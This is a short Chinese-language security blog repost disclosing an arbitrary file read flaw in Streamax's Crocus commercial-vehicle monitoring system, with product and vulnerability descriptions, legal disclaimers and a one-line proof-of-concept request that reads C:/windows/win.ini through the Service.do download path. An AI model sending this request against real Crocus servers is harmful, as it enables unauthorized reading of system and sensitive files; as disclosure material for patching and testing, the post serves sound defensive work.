锐明技术Crocus系统存在任意文件读取 POC

admin 2025年2月5日23:37:53评论20 views字数 424阅读1分24秒阅读模式
产品描述
  深圳市锐明技术股份有限公司锐明技术Crocus系统融合了锐明技术的多项核心技术,如视频图像处理技术、卫星定位、物联网传感器、车载电子工程及无线通讯等,旨在为用户提供系统化、智能化的商用车监控和信息化解决方案。
漏洞描述
  Crocus系统存在任意文件读取漏洞,攻击者可以通过该漏洞读取敏感信息。
Poc
/Service.do?Action=Download&Path=C:/windows/win.ini
漏洞复现
锐明技术Crocus系统存在任意文件读取 POC
小知识

依据《刑法》第285条第3款的规定,犯提供非法侵入或者控制计算机信息罪的,处3年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处3年以上7年以下有期徒刑,并处罚金
锐明技术Crocus系统存在任意文件读取 POC
声明

本文提供的技术参数仅供学习或运维人员对内部系统进行测试提供参考,未经授权请勿用本文提供的技术进行破坏性测试,利用此文提供的信息造成的直接或间接损失,由使用者承担。

原文始发于微信公众号(什么安全):【漏洞复现】锐明技术Crocus系统存在任意文件读取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月5日23:37:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   锐明技术Crocus系统存在任意文件读取 POChttps://cn-sec.com/archives/3700089.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息